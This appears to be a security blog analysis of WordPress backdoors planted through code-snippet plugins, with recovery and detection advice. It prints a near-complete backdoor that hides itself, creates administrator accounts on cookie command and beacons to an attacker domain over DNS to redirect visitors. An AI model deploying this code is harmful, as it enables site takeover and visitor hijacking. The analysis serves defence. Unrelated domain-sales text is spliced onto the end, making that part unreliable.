WP backdoors delivered via code snippets using plugins like wpcode
The Attack: How Malicious Snippets Hide in Plain Sight
Attackers can use a compromised administrator account to add a malicious code snippet to a site. These snippets can be designed to perform a variety of harmful actions, such as:
- Hiding the Plugin: A malicious code snippet can use a WordPress filter to hide the very plugin it was created in from the admin plugin list. This makes it difficult for a site administrator to find and remove the malicious code.
- Redirecting Traffic: The hidden snippet can force a site to redirect visitors to a malicious or spam-filled website.
- Creating Backdoors: Attackers can add new administrator users or other backdoors to the site, allowing them to regain access even if their initial access method is discovered and patched.
Using Safe Mode to Restore Your Site
If you suspect your site has been compromised by a malicious snippet, you can use the safe mode feature of your code snippet plugin to regain control. Safe mode temporarily disables all snippets, allowing you to access your site’s administration area and remove the bad code.
Here are two ways to enable safe mode:
Method 1: The URL Parameter
This is the fastest way to enable safe mode on a specific page of your site. It is effective if you can still access your wp-admin login page.
- Open your browser and navigate to your
wp-adminlogin URL (e.g.,https://example.com/wp-admin). - Add
?wpcode-safe-mode=1to the end of the URL. The full URL will look like this:https://example.com/wp-admin/?wpcode-safe-mode=1. - Press Enter. This will prevent any snippets from running on this page and subsequent pages, allowing you to log in and access your plugins and snippets list.
Method 2: The wp-config.php File
If the malicious code is preventing you from even accessing your wp-admin login page, you can enable safe mode by editing your wp-config.php file directly. This method is a global setting that will disable all snippets on your entire site.
- Using an FTP client or your hosting provider’s file manager, access your WordPress installation’s root directory.
- Find the
wp-config.phpfile and open it for editing. - Add the following line just before the line that says
/* That's all, stop editing! Happy publishing. */:define('WPCODE_SAFE_MODE', true); - Save and upload the
wp-config.phpfile.
Now you should be able to log in to your site and access the snippets list.
Cleaning Up Your Site
Once you are in safe mode, you can proceed with a cleanup:
- Change Passwords: Immediately update the passwords for all administrator users on your site.
- Review Users: Check the list of administrator users and remove any that you do not recognize.
- Find the Malicious Snippet: Go to your plugin’s snippets list. The malicious snippet may be titled with a suspicious name or have no title at all.
- Delete the Snippet: Once you have identified the bad code, delete the snippet. This will remove the backdoor and prevent the site from being compromised again.
- Disable Safe Mode: If you used the
wp-config.phpmethod, remove thedefine('WPCODE_SAFE_MODE', true);line from the file and save it. If you used the URL parameter, simply navigate to your site normally without the parameter.
Using these steps, you can effectively use safe mode to remove malicious code snippets and restore your site’s security.
We have recently encountered a creative way to hide exploits on WP sites by using plugins that provide custom PHP code snippets. This article should serve as a warning why such plugins are automatically a security risk and should be avoided on all WordPress sites whenever possible.
Process of the Attack
- Initial Access: The attacker leverages admin-level privileges, potentially obtained through existing exploits or vulnerabilities, to install a code snippet plugin from the official source on WordPress.org.
- Concealment: The attack generates a code snippet that conceals the presence of the plugin. This is achieved by masking all related information via CSS and by immediately unloading the plugin using a WordPress action hook.
- Execution: The malicious payload is automatically executed on every page request.
Example of backdoor code
We’ve lifted the following demonstration out of an infected website. The code has been slightly modified and clarifications added.
// Attacker's personal password
$_pwsa = 'password_string';
// Hide the presence of the WPCode plugin
if (current_user_can(‘administrator’) && !array_key_exists(‘show_all’, $_GET)) {
add_action(‘admin_print_scripts’, function () {
echo ‘<style>’;
…
echo ‘</style>’;
});
add_filter(‘all_plugins’, function ($plugins) {
unset($plugins[‘insert-headers-and-footers/ihaf.php’]);
return $plugins;
});
}
if (!function_exists(‘_red’)) {
// Helper function, extract base64-encoded cookie values
function _gcookie($n) {
return (isset($_COOKIE[$n])) ? base64_decode($_COOKIE[$n]) : ”;
}
// Exploit control section
// Test if visiting browser has the password cookie set to correct value
if (!empty($_pwsa) && _gcookie(‘pw’) === $_pwsa) {
// Command options
switch (_gcookie(‘c’)) {
// Update domain storage hidden within wordpress option
case ‘sd’:
$d = _gcookie(‘d’);
if (strpos($d, ‘.’) > 0) {
update_option(‘d’, $d);
}
break;
// Add administrator user to the WP site
// username, password and e-mail fields are defined by u,p,e cookies
case ‘au’:
$u = _gcookie(‘u’);
$p = _gcookie(‘p’);
$e = _gcookie(‘e’);
if ($u && $p && $e && !username_exists($u)) {
$user_id = wp_create_user($u, $p, $e);
$user = new WP_User($user_id);
$user->set_role(‘administrator’);
}
break;
}
return;
}
// Skip further code on the login page to avoid detection
if (@stripos(wp_login_url(), ”.$_SERVER[‘SCRIPT_NAME’]) !== false) { return; }
// Skip further code if specific cookie is present
if (_gcookie(“skip”) === “1”) { return; }
// Helper functions
function _is_mobile() { … }
function _is_iphone() { … }
function _user_ip() { … }
function _red() {
// Do nothing for logged in users to avoid detection
if (is_user_logged_in()) { return; }
// Do nothing if IP is not set, likely to avoid detection when run via tool like WP CLI
$ip = _user_ip(); if (!$ip) { return; }
// Get WP transient option that stores list of visitor IP addresses
$exp = get_transient(‘exp’); if (!is_array($exp)) { $exp = array(); }
// Remove IP address from the list if 24 hours have passed since the last visit
foreach ($exp as $k => $v) { if (time() – $v > 86400) { unset($exp[$k]); } }
// Do nothing more if IP address has visited within last 24 hours
if (key_exists($ip, $exp) && (time() – $exp[$ip] < 86400)) { return; }
// Save website hostname and ip address of the visitor
$host = filter_var(parse_url(‘https://’ . $_SERVER[‘HTTP_HOST’], PHP_URL_HOST), FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME);
$ips = str_replace(‘:’, ‘-‘, $ip); $ips = str_replace(‘.’, ‘-‘, $ips);
// Take attacker’s contact domain out of WP option
$h = ‘cdn-routing.com’;
$o = get_option(‘d’);
if ($o && strpos($o, ‘.’) > 0) { $h = $o; }
// Prepare DNS request – package info about the current website into subdomains
$m = _is_iphone() ? ‘i’ : ‘m’; $req = (!$host ? ‘unk.com’ : $host) . ‘.’ . (!$ips ? ‘0-0-0-0’ : $ips) . ‘.’ . mt_rand(100000, 999999) . ‘.’ . (_is_mobile() ? ‘n’ . $m : ‘nd’) . ‘.’ . $h;
// Send the DNS request: get redirect URL and provide heartbeat
$s = null;
try {
$v = “d” . “ns_” . “get” . “_rec” . “ord”;
$s = @$v($req, DNS_TXT);
} catch (\Throwable $e) { } catch (\Exception $e) { }
// Redirect visitor to the domain name in the attacker’s DNS TXT record
// Log the IP into storage
if (is_array($s) && !empty($s)) {
if (isset($s[0][‘txt’])) {
$s = $s[0][‘txt’];
$s = base64_decode($s);
if ($s == ‘err’) {
$exp[$ip] = time();
delete_transient(‘exp’);
set_transient(‘exp’, $exp);
} else if (substr($s, 0, 4) === ‘http’) {
$exp[$ip] = time();
delete_transient(‘exp’);
set_transient(‘exp’, $exp);
wp_redirect($s);
exit;
}
}
}
}
add_action(‘init’, ‘_red’);
}
The code shown above grants attacker an ability to redirect visitors of the website to any other domain that he wishes. The backdoor allows switching of the control domain in order to allow migration of the attacker’s own infrastructure. Finally, the attacker can, at any point, create his own Admin-level user on the website and use it at his leisure – possibly improving the backdoor or adding more malicious code.
Thoughts on detection
This kind of malicious code can be much more difficult to locate than exploits embedded within code as the latter can be simply identified by tracking file differences.
Basic security tools don’t scan WP database or they don’t do so sufficiently well. We have tested if the code shown earlier would get detected by Wordfence. It wouldn’t. This means that exploits hidden within snippet plugins easily escape automated detection.
In this particular case the detection can be as simple as comparing the list of available installed plugins to the contents of wp-content/plugins/ folder. Should the folder contain any plugin slugs that do not correspond to what is available inside WordPress administration, detailed investigation should follow. This is, however, something that can hardly get automated due to the exploit’s different behavior when running via CLI tool.
The easiest approach to detection could simply be maintaining a plugin graylist. A list of potentially exploitable plugins that, when installed, require additional review.

In some cases, it may be possible to negotiate the price of a premium domain. However, the success of negotiations depends on factors such as the domain's demand, the seller's willingness to negotiate, and the overall market conditions. At BrandBucket, we offer transparent, upfront pricing, but if you see a name that you like and wish to discuss price, please reach out to our sales team.
How Do I Transfer a Premium Domain?
Transferring a premium domain involves a few steps, including unlocking the domain, obtaining an authorization code from the current registrar, and initiating the transfer with the new registrar. Many domain name marketplaces, including BrandBucket, offer assistance with the transfer process.



